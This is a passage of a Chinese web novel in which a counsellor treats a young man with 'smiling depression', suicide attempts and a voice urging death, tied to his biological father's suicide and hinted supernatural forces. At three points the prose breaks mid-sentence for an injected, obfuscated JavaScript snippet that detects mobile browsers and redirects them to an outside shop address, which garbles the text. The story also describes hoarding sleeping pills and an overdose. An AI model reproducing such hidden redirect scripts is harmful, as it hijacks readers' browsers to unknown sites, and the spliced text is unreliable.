“你相信鬼吗?”聂菁曾经睁着大大的眼睛望我。 我的心微微一抖,好像在某个地方裂出了一条细缝,像大雪覆盖下的冻土,一寸一寸的皲裂,大有分崩离析最终塌陷的预兆。 我揉了揉有些晕的脑袋,此时,轻微的风铃声从门口传来,门板被谁有礼貌地轻敲了三下,一个有些低闷的声音问:“有老师在吗?我是黄玉芳,约了下午二点半的咨询。” 我从沉思中收回那些混乱的思绪,招呼她进来坐下。 这是一位朴素的中老年妇女,微卷的齐耳短发,眼睛透着一种深深的焦虑:“我想帮我孩子做咨询,他因为自杀未遂住院治疗了。” 我坐正了身体:“听起来很严重,医生怎么说?” “医院诊断是重度抑郁,但我觉得这个事很奇怪,因为我儿子以前没有抑郁症,他非常的阳光开朗,热爱运动,每年都参加马拉松得奖,并且朋友缘也很好。” 为了印证她的话语,她掏出手机打开了相册指给我看:“你看,这是我儿子,多正常的人!” 照片上一个朝气蓬勃的年轻人望着镜头,穿着温柔的蓝色T裇,眉梢眼角向上弯,笑容可掬露出白白的牙齿,单就照片评价,确实看起来跟抑郁没什么关系。 不过,人是多面体,我们常常会给自己戴上不同的面具,以致就算最亲近的人也常常搞不清楚自己身边人心里真实的想法。 英国有一位叫Maisie的女孩,在朋友眼里她是一个乐天派,活泼开朗,成绩优异,爱旅行,爱健身,还热衷公益活动…… 所以当她身边的同学和朋友收到Maisie轻生的消息时都不相信是真的,并且对警察认为Maisie生前可能患有抑郁症的结论表示不接受。 毕竟Maisie生前没有一点儿抑郁症的征兆。直到她的妹妹在收拾她的遗物时发现了一张小纸条,正面写着“I’mfine”,翻到背面却是“helpme”。 “看起来是挺阳光开朗的一个小伙子,不过人的心情会时时变化,昨天开心不代表今天不会流泪,情绪变化和天气变化都是一样的自然。”我倒了一杯温水给她。 “但是好端端的怎么会这样?我这几天问来问去,到底发生了什么事,他却自己也不知道怎么回事。” 黄玉芳脸上有一种为孩子操心一辈子的中国式母亲神情,忧心忡忡,肩挑重担。 “我理解你作为母亲的心情,不知道孩子什么时候生的病,突然变得这么严重,一时间会很难接受对吗?” 她如丧考妣:“我怎么就一点没看出来,他怎么一下子就变成这样!” “有一种抑郁症叫作微笑抑郁症,即使最亲密的人可能也觉察不出来。” 我给她科普了一下微笑抑郁症的概念。 “微笑抑郁症?”女人眼神有些发直,喃喃自语地反复咀嚼这个名词。 好像难以理解又好像不可置信。 “微笑抑郁症的原因是什么?会遗传吗?”她问。 “科学解释的话就很多了,生理和心理都有原因,具体问题因人而异。” 生理上比如血清素、多巴胺,去甲肾上腺素的失衡,或者神经可塑性改变。 心理上则和认知模式、人格特征和早期经历都有关。 这个症状的确也有遗传易感性。 我用一些不那么生僻的语言简单解释给她听。 她的脸色变得愈加奇怪,脸上的肌肉僵硬得像一个颜色灰暗的面具。 “微笑抑郁,竟然有这种心理病?” “是的,通常这类人内心很善良,不愿意给身边的人增加负担,可是当承受不住的时候,会出现挽救不及的大问题。” 她的眼睛发直,灰暗的面具有些奇异的扭曲,半晌都没说话,好像陷入了某种深思。 我又给她加了一点温热的水,她才仿佛回过神来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826340|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼珠子动了动,有点结巴地说:“真的有这种病?这种病会不会遗传?” “心理学上确实有这种症状,属于隐性抑郁,你问的遗传是什么意思?” 她似在喃喃低语:“难道他也是?难道他也是因为这样走的?” “谁?他是谁?” 她仍像神游般的自语:“小栋的爸爸,亲生父亲那位,他是自杀走的,难道当时,他也是有这个病吗?” 毫无预兆地死亡。 她还十分清晰地记得,二十九年前一个夏日,炎炎的夜晚,刚下完雷阵雨,空气热闷。 年轻的黄玉芳因为替工友加班晚了点,自己撑着雨伞慢慢地向家里走去。 平时热闹非凡的街道在阵雨的洗礼下变得空荡荡,人们如归巢的鸟儿纷纷回了家,有些人围坐在一起吃晚餐,有些人则打开了电视看新闻联播,也还有人在岗位上挥汗如雨。 黄玉芳一边走着一边心里奇怪,怎么平常准点来接她下班的丈夫,今天居然不见人影。 他们结婚才不到一年,还处在蜜里调油的时期,丈夫几乎每天都会来,如果不来也会提前跟她打招呼。 可能是有什么事耽搁了吧,她不甚在意地想。 快走到楼下的小巷时,她一愣,突然看到一辆闪着红□□的救护车停在逼仄的巷口,不知道为什么心里涌出一种不好的预感。 接着看到有两个穿白色救护服的人,急急忙忙抬着一副担架从里面出来,身旁跟着一个慌里慌张熟悉的年轻女子,那女子仿佛感应到她的目光,抬眼过来彼此对望了一眼,她看到那个女子眼中透着一种绝望恐惧的陌生眼神。 居然是她的小姑! 仿佛心灵感应一般,她立刻意识到一定发生了什么可怕的事情。 后面的事情她已经不太记得了,怎么去的医院怎么安排的后事,变成她脑子里一片空白的影像。 她只知道在那个闷热又窒息的夜晚,她的丈夫用一根绳子结束了自己年轻鲜活又短暂的生命。 “毫无预兆,没有人能想通这是为什么。”她的鬓角渗出一些汗。 他没有经济问题也没有情感的问题,没有丝毫的端倪便抛下怀孕了半年的妻子和年过半百的老母亲。 “难道那时候他也是微笑抑郁症,而我们不知道吗?” “我的儿子是不是也遗传了这个病。”她的声音有些发颤。 “不见得,这些都是推测,得看看实际情况。” 我安慰这位可怜的母亲:“就算是,现在发现了也是一件好事,还有挽救的机会不是吗?” 她的脸色这才慢慢变得好看了些。 “你说那时才怀孕半年,这么说他是个遗腹子,你的孩子知道他亲生父亲的事吗?” 我想起给陈沭萱深度催眠时她在胎内的感知和‘看见’,不确定这两者是否有关联,如果那个胎儿目睹了一切,他会在潜意识里储存了什么样的情绪和想法? 这是否会影响遗传?我并不是专家,同样感到迷惑。 “我从来没有跟他说过,后来为了让孩子得到更好地照顾,我很快就改嫁了,我现在的老公对他很好,一直当他亲儿子,他应该什么都不知道。” 我迟疑了一会,还是问:“在你先夫走了之后那段日子,你一定很悲伤也很艰难吧,有没有想过不要他?” 黄玉芬摇摇头:“我是很痛苦,谁遇到这事都会很痛苦,但绝对没有不想要他,而且先夫的家里人强烈希望我能生下来,不论我想要什么样的条件他们都答应,因为这是我先夫留下的唯一血脉。” 我点了点头,母亲怀孕的情绪会影响孩子的情绪,这一点倒是科学家证实了的。 她突然想到什么,嘴唇又哆嗦起来:“都是29岁。” “什么29岁?”我发觉自己有点跟不上她的思路。 “我先夫走的时候是29岁,我儿子现在也是29岁。” 她睁大恐惧双眼直直地望向我:“难道这里面有什么可怕的东西在影响他?” 20. 循环02 这么巧合?我摸着鼻子也有些疑惑,只好用问题回答。 “你觉得会是什么?” “我不知道我不知道。”她六神无主,几乎肩膀和手都在同时颤抖。 “深呼吸,放松,放松身体,一切都是猜测,一切都只是想法,想法仅仅是想法,你儿子现在还好好的,你可以帮助他,我们可以一起帮助他。” 她深呼吸,总算慢慢地放松下来。 “我得见到他本人才能有些思路,现在这些都只是猜测而已。” “请你一定帮帮他,我让他出院就马上来。”临走时她抓住我的手恳求道。 「最近太阳活动达到高峰值,会加速我们内心世界的微妙变化,特别负面情绪会被放大得更厉害」 放在口袋里的手机声音突然像喇叭一样响亮,我正在洗杯子的手一震,差点滑手把杯子摔下去。 什么鬼?我擦干净手,从口袋里把手机拿出来,也许刚才没关好手机,放在口袋里时触到按键,自己弹出来的短视频,星体图片配上简洁的文字,正在煞有介事地讲天体运动对人类的影响。 「心理问题引发的公共危机事件数量也噌噌地往上涨,它们到处捣乱,波及各个家庭,尤其是那些心理比较脆弱的孩子和背着重重压力的中年人」 真是又一次巧合! 怎么会刚好弹出这样内容的视频,好像为我量身定做一样。 如果你的人生到处充满了神秘的巧合,你会像尼奥一样,开始怀疑这个世界的虚幻性吗? 我觉得自己像个叶公好龙式的人物,一边爱看科幻电影,希望这个世界有种神秘的力量,一边又批判这种迷信思想,觉得自己需要科学的态度来面对生活。 不过,经历了那晚如此强烈的玄幻事件,我固有世界观开始有了一不可弥补的裂缝。 只是没想到,这个案子之后,我的世界观会更进一步被撕裂。假如此时墨菲斯拿着红蓝药丸给我选择,我大概不会再像以前拒之千里,而是保有好奇心,向那个神秘的世界发出一些追问的声音。 一个月后我见到了卫奕栋,他剃着一个短短的平头,穿着简单的牛仔裤和T恤,本该很干净利落,可是由于脸色过于憔悴,显得阳气不足,整个人像是聊斋里被鬼怪纠缠的书生。 “我在医院待了一个月,刚刚才出来。” “医生怎么说?” 他摇摇头,从袋子里拿出一些药物,几只白色扁平盒子印着粗粗的简约字体,抗抑郁的缓解焦虑的和助眠的。 “我吃了这些整整一个月,可是那些念头仍是挥之不去,不过我不想再在里面待了,就跟医生说我稳定了。” “什么念头?” “叫我不要活的念头,好像就一直在我耳边反复播放。” 我内心微微一怔。 “放弃吧,一切都是徒劳的……”那天站在阳台的清晨,也有一个声音这样对我说。 “你觉得你是听到还是脑子的一个念头?” “我不知道。”他捂住头很苦恼。 “我开始有点分不清现实和幻想了。” 我在一旁颇有同感而心有戚戚。 只是他比他母亲所知得更严重,在入医院之前试过好几种自杀的方法。 “这种情况什么时候开始出现的?” 他仔细回忆了第一次出现这个声音的情形。 那是一次很普通的游泳,碧蓝色的泳池,干燥闷热的空气,他像游鱼一般享受着与水的嬉戏。 骤然而至的微雨,使得大部分的人都陆续撤走,剩下七八个资深的泳者。 偌大的泳池显得空荡荡,水也变得有些微凉,地上的热气被冷雨洒下,像桑拿一样蒸腾着,在水里浸泡感到特别舒服。 他自由自在地伸展着长腿和双臂。 “真舒服,再游一千米,待会换好衣服去看电影吃牛扒。”他惬意地想。 突然,大腿肌肉抽搐了一下,他睁开眼睛,泳镜里面起了水雾,视野变得有些模糊不清,好像有一股阴影压迫了过来。 一种很怪异的感觉。 比冰还冷,比霜还寒,从大腿涌现直到心里,像一股浓黑的云雾重重环绕。 他不知道为什么,感觉嘴唇边的水珠突然变咸了,像是一滴悲伤的泪,在这悲伤里有一种从来没有过的念头,一种莫名其妙的渴望。 像一个蛊惑的声音:“静静地闭着眼睛沉到水底里吧,那感觉一定会很美妙,一切烦恼都将会解脱,你会得到平静与愉悦。” 这个渴望如此强烈,好像理性已经完全脱缰,就像饥肠辘辘的人看见了面包,徒步沙漠干渴的人看到了一汪清水。 他被这个想法蛊惑了,身体真的停止了动作,平静地慢慢地沉到水里。 幸好,坐在岸上的救生员尽忠职守,吹了哨音马上跳下水捞人。 等他稍清醒时,发现周围的人都松了一口气:“幸好及时。” “游泳最怕脚抽筋了,下次注意点,要记得大叫。” 只有他知道,刚才那一瞬间,他起了一个自杀的念头,并且这个念头似控制了他。 自从那一次之后,这个念头时不时出现。 有时候他会和这个念头抗争,有时候在心情不好或者筋疲力尽的时候,他又会不由自主地附和这个念头。 睡不好的时候,他想到医院开些安眠药。 医生并不多开,一次只有十几粒,开了回来,他又舍不得吃,慢慢地攒起来。 他觉得这个行为不太理智,却有一种奇怪的安全感,好像自己能掌控什么似的。 直到把药吞下去,他也不记得具体发生了什么事。 在公司被领导穿小鞋了?后来在地铁上又和人发生了争执,之后说好的约会又被女朋友加班放鸽子? 若是以前,他都不觉得这些是事,可那晚上,在泳池里那种诡异的感觉又一次袭来,比冰还冷,比霜还寒,他觉得脑袋像被一团黑雾笼罩,脑袋昏昏沉沉的,不由自主地把药全吞了。 似乎又有什么东西冥冥之中保护他。 恰好那晚吃错了东西,又吐又拉的,恰好可能把未充分吸收的药吐了出来,又或许那些药本身效果比较轻微,他只是睡了个昏天暗地的周末,没人觉察到他又从死神手中逃脱。 我听得骇然。 被送进医院反而是因为无心之过的啼笑皆非事件。 周末,未过门的女友要来,黄玉香打算给未来媳妇炖椰子鸡汤。 她递了一把尖刀给卫奕栋:“椰子水倒出来,把里面的老椰肉挑出来。” 挑椰子肉的时候,他大力地戳挑来来回回,结果一刀戳到手掌的大动脉,鲜红的血一下像喷泉一样喷出来。 随着血越流越多他也越来越困,心里想着,原来快死是这个样子的。 家里人慌忙送到医院手术缝线,一位医生开药时好奇地查了查之前的开药记录,看到频繁的安眠药购买,便给他做了些精神测试。 重度抑郁,有自杀倾向,让精神科介入。 我碰了碰鼻尖,觉得跟我那天清晨在阳台上的情况有点像。 “你意识到那个声音或念头你不是你的?” 他点头:“当我清醒过后回忆觉得这些想法都不是我的。” “也就是你能够感知到现实和幻觉之间的不同?” “有时能分辨,但难以控制。” 能够对自己的想法有清晰地感知,医院的测试也排除了精神分裂症状。 太相似了。 “你能知道这个念头什么时候开始有的?” 他想了想:“就是那次游泳,七月份。” “也就是说,你在此之前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826341|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点从没有这种想法,在7月份之后才突然有了这种想法,你能回忆一下在此前后发生了什么事吗?” 他脸色变得更加灰暗,神情也变得有些恍惚。 “是想不起来还是觉得不好说?” 他还是处在神思恍惚当中。 “卫奕栋,你怎么了?”我叫他。 他眼珠转了转,似乎有些困惑:“我突然觉得好累,想回去休息一下。” 明明刚才思维清晰表述清楚,突然间转变成恍惚状态。 “这样子回去能行吗?”我有些担心。 “没关系,我的朋友在停车场等着。” 他的眼睛里有些涣散。 我不是很放心,让他打电话给朋友,一直等到他朋友到来跟他一起走。 望着他的背影,想了想给黄玉芳打了个电话。 黄玉芳声音里透露出一丝紧张:“小栋情绪怎么样?” “目前情况还不是太稳定,最好能安排一个人24小时陪着,不要让他做危险的活动,比如游泳,爬高的露台。” “他怎么啦,难道还是想自杀?到底是什么原因想不开的?” “目前还不太清楚,只能积极观察配合治疗。” “那我们还能做些什么?” 我犹豫了一会。 “有没有考虑和他说亲生父亲的事情?” 另一头没有马上回答,过了好一会才说。 “这个事情和他身世有关吗?” 她的声音非常迟疑。 “我并不是刻意隐瞒,以前只是觉得没有必要,也害怕这个事情会影响他们父子俩的感情,小栋一直认为现在的爸爸是亲生的,我老公也把他视如己出,如果现在把这个事情捅出来,他这个状态我更担心……” “我理解。” 但我不知道怎么表达才让她理解,想了好一会还是实话实说。 “你有这个忧虑很正常,只不过我对于潜意识的理解是,这件事虽然你没有告诉他,但不代表潜意识不知道,很多胎儿在母腹中能感知到母亲的情绪和想法,这是一种潜意识的记忆,很多心理问题的发生是潜意识和意识互相冲突无法平衡的结果。” 电话那边静了半晌。 “我不太明白,但你意思是如果不告诉小栋的话他的病就没办法好吗?” 她的声音有些颤颤巍巍。 “不一定,这只是我一个大概的思路,这件事不必着急,我只是建议你有个心理准备。” 心理学这个领域有很多流派,有很理性科研派的,也有偏向神秘的神叨派。 有一种叫家排得很是神秘。 我曾有幸见识过一回他们做个案的过程,他们全程像表演奇怪的哑剧。 舞台上有一位家排师担当总指挥,求助者把他的人生问题向导师说明,导师便会让台下一些陌生人上来,分别扮演求助者家族里的不同的角色。 最神秘的一部分是,导师会让扮演的人站在他认为合理的位置上,站着或躺着的人,突然像被什么东西控制一样,身体晃来晃去,呈现哭叫忧愁绝望等不同的情绪,又或者跪趴拉扯各种古怪的行为,像被操纵的人偶。 家排师会根据舞台上那些人的表现,讲出这个家族曾经发生的历史,求助者会恍然大悟。 通常第一次见到的人都会目瞪口呆,觉得不可思议。 不过我没考虑让黄玉香他们也去试试,因为并不肯定这种方法是否有效,即使不再是坚定的唯科学论,也不能一下子接受有神论。 “7月27日?” “对。”卫奕栋第二次到访显得精神好了很多。 “你怎么记得那么清晰?”我颇感意外。 我们继续上次那个他没有回答的问题,他却给了我一个如此清晰的日期。 这太不寻常了。 21. 循环03 除非是什么重要日子或者纪念日,潜意识记忆事件通常是没有时间观念的。 我们自己也可以尝试回忆一下,通常在我们的记忆里,一个事情能够储存在我们的记忆库,通常因为强烈的情绪以及强烈的情感波动,我们可以回忆起当时的场景,人物的对话,事件的经过,但我们对时间的记忆往往会模糊化。 潜意识对时间的模糊化经常发生,比如曼德拉事件和猫王事件,甚至经典电影《泰坦尼克号》的上映时间,它于1997年上映,但许多人会以为是1995年或1999年。 “我也不知道,也许这是一个很重要的时间。”他有一点迷惑。 “也有可能在那前两天是我一个朋友的生日。”他突然变得有些支支吾吾的。 “那天发生了什么事?” 他看了我一眼,神色有些复杂:“朋友生日那天,我亲了一个女孩子。” 他看到我神色有些莫名其妙,解释道:“我已经有了女朋友,她刚怀孕,我们打算结婚。” 那天是他一个哥们过生日,女朋友不怎么喜欢这种喧闹混乱的场合,所以并没有跟他在一起,结果就出了这档子事。 “我那天喝了不少酒,气氛那么好,我不忍心拒绝,但我真不是故意的,清醒后我也很后悔!” 这两件事有点风马牛不相及,亲了一个女孩子和他想自杀有什么关联呢?他不会是个极度情感洁癖的人吧。 我努力从心理的角度上分析:“你的意思是,发生了这件事,使你有心理负担,因为你认为自己对感情背叛吗?” “我能想到的就是这个!”他按揉着太阳穴叹了口气。 “从那天起我就有一种特别懊悔内疚的感觉,慢慢地心情就越来越不好,特别和女朋友在一起的时候,以前是开心现在是压力,很多时候不太敢看她的眼睛,觉得挺对不起她的。” “你背着女友亲了一个女孩,感到很惭愧,以致懊悔得产生自杀的念头?” 我觉得这不符合常规心理。 一个小小的错误,并非踏过了底线或原则性的,它很难构成一个影响极端行为的理由。 “我不确定,当你问我的时候,我能想起唯一的就是这个事情。” 他也皱着眉,对自己难以理解。 我沉默了一会,觉得这并非真正的答案,除非这件事触发了某一个点,那会是什么呢? “我分析不出来,不过我比较善于挖掘潜意识,不如让你的潜意识来回答好了。” “潜意识?”他不明白。 “潜意识就是你的直觉,你的直觉和你的身体会比你的意识更诚实。” “很简单的,闭上眼睛放松身体就可以了。” 他仍然是一副疑惑的样子,不过他还是听的话闭上了眼睛。 “深呼吸,感受自己的身体,慢慢地呼气,感受身体越来越放松……” 他并不是很适应,但能看出他努力地跟随着我的引导,眉心慢慢地舒展开来。 我尽量用了十多分钟使他进入浅层的催眠态。 “好的,那天的情景历历在目,你能记得很清晰,你能感受自己的心情,你尽情表达出来。” 他头低了下去,下巴贴向颈部:“我很难过,我欺骗了她。” “你的女友吗?” 他微微地点点头。 “你因为欺骗感到难过,那能不能对她坦白?” “不要,我担心会影响她的心情。” “现在的你这种情况会让她更有压力,不坦白是想继续脚踏两条船?” “不,我们根本没开始,并且我已经告诉她以后不会再见面,我真的只是觉得愧疚。” “那既然什么事都没有发生,你愿意放下这个愧疚的感觉吗?” 他又摇摇头。 我打算和他的潜意识说说道理:“愧疚是一种自我惩罚的替代情绪,本身没有什么意义,你为何要抓住这个情绪不放呢?” 他不语,似在低头沉思。 “其实你们之间什么事也没有发生,这是一个比沙粒还微小的事件,你可以放下的。” 他脸上的肌肉抖动了一下。 神情突然变了,就好像是不应该出现在他脸上的另一种“人格”。 冷冽、扭曲、怪异,嘴角有一种恶意的弧度。 我不禁睁大了眼睛,这让我想起了前段时间聂菁的案子,突然出现的“张晓岚”人格。 他的喉咙里动了起来,一字一顿的,既沉重又坚定:“背叛者必须死。” 我心脏不由得急促跳了起来。 他突然睁开了眼睛,定定看了我半晌。 我屏住了气息,与他沉默地对视。 他慢慢地好像从什么东西中挣扎出来,然后露出比我还吃惊神情。 “这句话并不是我说的。” “这个声音明明从你的嘴巴说出来的。”我的心犹在砰砰的跳动。 他有点着急:“我刚才不知为什么突然间有点困了,迷迷糊糊的,等我说完这句话,我突然意识清醒了,这不是我想说的。” 我好像也体会过这种感觉。 “你的意思是你和你的想法断层了,你被别的什么想法影响了?” 他苦笑了一下:“我感觉自己好像被附身似的。” 如果没有前次在阳台的经历,以及聂菁案子里的经验,我会让他再去做一次心理测试。 我也感觉自己有些头疼起来。 到目前为止,我的世界里有太多巧合的事件,就好像有个什么东西逼着我去了解一些我曾很抗拒的东西。 我揉揉发胀的太阳穴。 “附身的话我没办法给到你任何意见,我只会讲心理学,如果从心理学来分析,也有可能你的潜意识深处特别痛恨背叛的人,你想想自己有没有类似的经历,触发了某种创伤。” 他的眼睛十分迷茫,认真地想了半天摇摇头。 “我没有这样的经历,我也不觉得自己的想法有那么极端。” “通常这种情况,我们都是按照幻听来治疗,告诉你幻听并非真实地存在,它只是大脑功能失调的表现,不是来自外界的真实声音。” 他的脸色垮了下来。 “可是我又特别理解你,因为这个声音这么真实,真实到让人不禁怀疑存在的另一种可能。” “什么可能?”他连忙问。 “我也没什么思路,但是你提到了7月27这个没来由又特殊的时间,我觉得这是一个线索。” 他皱着眉显得更迷茫了。 “也许你可以问问你的母亲。” “怎么会跟她有关?” 我摇摇头:“具体的我也说不清楚,只是一种直觉。因为你的母亲也说过一个与数字有关的事情,我猜想这会不会有什么巧合的地方?但这只是一种猜想,需要你自己去验证。” 既然出现了一个29岁的巧合,那么7月27日是否也是一个特殊的时间点? 他来的时候很清醒,走的时候很迷茫。 我也很迷茫。 那天晚上发生的事情和这个案子一样,都很难用心理学的知识来解释。 “回魂啦,仙人!”莎莎的手掌在我面前摇来摆去。 “想什么呢?想得这么入迷。”莎莎一边用热水烫筷子一边问。 最近这位合伙人没有出差,又有闲暇三天两头约午饭。 “你现在天天来的这个频率,让我想起读书的时光。” 那时候我们住在同一个大学宿舍,中午吃饭的时间基本上都是粘在一起。 “天天和那帮客户喝酒都快把我喝成一个酒味人体标本了,还是和你在一起好,吃完饭还能小睡一下。” “你要是个人体标本,那也是最漂亮的标本。” 我好笑地看着这个美丽的标本,最近天天来工作室霸占催眠椅,戴眼罩、听音频、点熏香,美其名曰睡美容觉,我就差没穿上美容师工作服,手上抹精油,把工作室改成美容spa馆了。 “哎,快说呀,刚刚你在想谁?八八呗,最好讲个有艳遇的故事。” “艳遇没有,魔怪就有。”我把那个晚上发生的事说了,她听得一脸惊讶,皱着眉给我递了一杯茶水:“你这家伙该不会是撞邪了吧?” 我叹了一口气:“我现在也不确定,感觉真的有点像。” “要不要我给你介绍大师?你要佛教的,道教的还是天主教or基督徒?” 她熟络像刚才在拿着菜单给领班点菜一样。 我跟筷子上的豉汁苦瓜对望了一眼,看到了彼此皱眉的样子。 “你这样让我有选择困难症。” “瞧你那出息样,谁有缘就选择谁好了。” 莎莎永远率性得百无禁忌,见庙拜庙,见道入道,见教参教,好像在尊敬的神界也能运用入乡随俗这套社交礼仪似的。 “只要是我现在也没弄明白是怎么回事,不知道找他们做什么,驱什么那些就没必要了,我相信的是同频相吸法则,假如内在没有相似的东西就不会吸引来同类的东西,所以我最希望的是透过这些事情看清楚自己是怎么回事。” “哦,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826342|191120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是跟不做亏心事不怕鬼敲门的意思差不多呗,看看自己到底亏心在哪?” 我夹着苦瓜塞住了嘴巴,尽量保持吃饭的文明礼仪。 莎莎顽皮笑了一下说:“不过除此之外,也会有无意冲撞的情况吧,就像不小心蹭刮了别人的车,刚好遇到一个爱胡搅蛮缠不讲理的人,这时候就必须得找警察叔叔处理了。” 莎莎也夹了一块苦瓜,咬了一口皱着眉就扔到骨碟上去了。 “嗯,你说的话也有道理,我觉得最近对有神论者改变了看法,以前局限在一种认知体系里,但发现那种知识体系无法解释许多事情,或许有缘也可以接触一下。” 原来我算是无宗教信仰者,而莎莎则是全宗教信仰者,看起来大相径庭,但本质其实差不多,没有老大和太多的老大都是一样的。 莎莎用筷子敲敲我的碗:“话说,你生病了为什么不告诉我,一个人住万一出事怎么办?” “感冒发烧不过是小病,我哪想到自己有一天会上演恐怖版的爱丽丝奇遇记!” “你这个人吧,说好听点是独立自主,说难听点就是拒人于千里之外,自己有什么事也从来不主动说,好像活成一座孤岛,以前在宿舍就是这样,以为你学心理会改变,怎么感觉没什么帮助的。”莎莎脸色难得的严肃。 “心理学教我们习惯孤独,如何和自己相处。”我咧嘴笑了笑。 莎莎用指责的目光瞪了我一眼,我摸摸鼻子幽幽地想,为什么我的冷幽默从来没人欣赏? “我只是觉得要习惯一个人面对生老病死的” “习惯不是硬扛,地球难道只剩你一个人了吗?” 我叹了一口气,把筷子放了下来。 “我的确有种习惯,就是当我感觉到自己状态不太好的时候,会像受伤的动物一样,想找个地方躲起来。” “就像你离婚那会是吧?” “对的,不想让别人看到自己狼狈的样子。” “可是生病不是最需要别人照顾的时候吗?” “我宁可默默忍受。” “你有没有给自己做过心理分析?亲爱的心理师。” “我知道是什么原因,我不想成为别人的累赘。” 莎莎看了看我,若有所思地问:“所以这是你不打算再找的原因吗?” “这只是其一。” “我还是觉得你需要正常点的生活,不像我是祖传单身。你就算不结婚找个人同居也行吧,不然老了一个人怎么过?” 莎莎说的祖传单身是指外婆、妈妈和她,一门三代单身金花。 “不,我试过了所谓的正常生活才知道自己不适合,就像灰姑娘的姐姐,明明不适合那双水晶鞋,非要削得血肉模糊塞进去,最后还是惨遭淘汰。” 婚姻就是那双看起来很美的水晶鞋,不适合自己却偏偏贪恋,贪恋看起来很美的感觉以及假想王子带来的安全感和满足感。 “你真的想得这么开了?说真的,想到养老问题我有时也会动摇,我外婆和我妈都有我,那我呢?” 我想了一下说:“如果找一个人就等于养老有保障?万一那个人比你先走怎么办?万一那个人最后还得你照顾怎么办?就算有了孩子也不一定愿意照顾自己呀。” 莎莎瞪了我一眼。 我假装看不到她的脸色:“小时候红领巾献爱心活动看望孤寡老人你去过吗?” 小镇中心的白色平房养老院,里面全是行将就木的老人家,脸上的褶子像树根一样堆积,带着日薄西山的浑浊目光,麻木没什么表情,大多数都躺在床上等待最后的时光。 “很多人害怕自己年老是这样的光景,所以有时宁可闭着双眼也要找一个人,可是真相是,里面的老人几乎都曾有过家庭,但种种变故之下最终剩孤身一人,你看,就算结了婚操劳了一辈子,仍是独自面对生老病死,所以结不结婚生不生娃和孤不孤独终老没有半毛钱关系。” “噢,你真是会在我孤独终老的路上添砖加瓦呀!”莎莎似笑非笑斜睨我一眼说。 “刚好相反,我希望你真的得到幸福,而不是为了别人头脑里传承的恐惧,一时冲动嫁给养老保障。” 况且,我当过孩子,如果是生活在惊涛骇浪里,那么不生是否也是一种美德? 人世无常,只有当下的时光,才是属于我们的,何必为了自以为的保障、安全去做自己并不想做的事。 不过说起无常,无常通常意味着神秘莫测。 “7月27。”卫奕栋眼神发直,坐下来许久才接着道:“我亲生父亲的忌日是7月27日。” 22. 循环04 这个答案似在意料之内又在意料之外。 “听起来有点不可思议!” “当我第一次听到,我觉得像个玄幻故事。” 卫奕栋搓了搓脸。 他那天问的时候,还有些漫不经心:“妈,7月27日是什么特殊日子吗?” 母亲很茫然:“7月27?什么7月27?” 迷惑在她脸上荡漾了一小会,忽然她像记起了什么,眼睛瞳孔变得很圆,脸色也变得十分可怕。 “你为什么问这个?”她的声音有些抖。 卫奕栋看着她的神情觉得很惊讶:“妈你怎么了?是不是不舒服?” “告诉我为什么问这个时间?谁告诉你什么了?”她固执地追问。 “没有,今天咨询的时候,老师问我什么时候觉得自己有异样,我脑中就想起这个日期。老师觉得我应该回来问问你。你到底怎么了?” 母亲听完像是快要晕过去一样,她踉踉跄跄地走向房间。 卫奕栋赶忙过去扶住她:“妈到底怎么了?到底发生了什么事?” 她却推开他的手:“我不舒服,我得歇一会。” 然后锁上了房门,那天连晚餐也没有做。 接连好几天,母亲把自己关在房间里,像个紧紧关闭的河蚌。 “那几天急得我连那些乱七八糟的念头都没有了。”他苦笑着说。 父亲那些天的脸色也变得相当难看,常常望着他欲言又止,好像在下某种决心。 家里的气氛相当奇怪,像随时有个定时炸弹让他感到惴惴不安。 7月27日到底是什么日子?跟他有什么关联? 好几天后母亲终于下定了决心,父亲带着极为难看的脸色,一起坐在客厅里。 “你还有一个亲生爸爸。”母亲扔下悬挂在头顶好几天的炸弹。 卫奕栋震惊得说不出话来。 他看看母亲又看看父亲:“我不相信,今天又不是愚人节。” 母亲长叹了一声:“是真的,我们本来打算一辈子不告诉你,老卫除了跟你没有血缘关系,他哪里对你不似亲生?只是现在涉及你的健康,我们为了你不得不坦白,你看你爸爸多难过。” 父亲在一旁也红了眼眶。 卫奕栋仍是难以置信地摇摇头:“爸妈,你们不开玩笑好吗?” 他带着一丝恳求望着母亲。 母亲不敢看他,转头看向茶几上的杯子。 “我们在想,是不是因为我们隐瞒,让在天的人不安息,所以你才会这个样子,尽管这个决定很艰难,还是想向你坦诚一切。” 卫奕栋搓了搓脸上难以置信的表情。 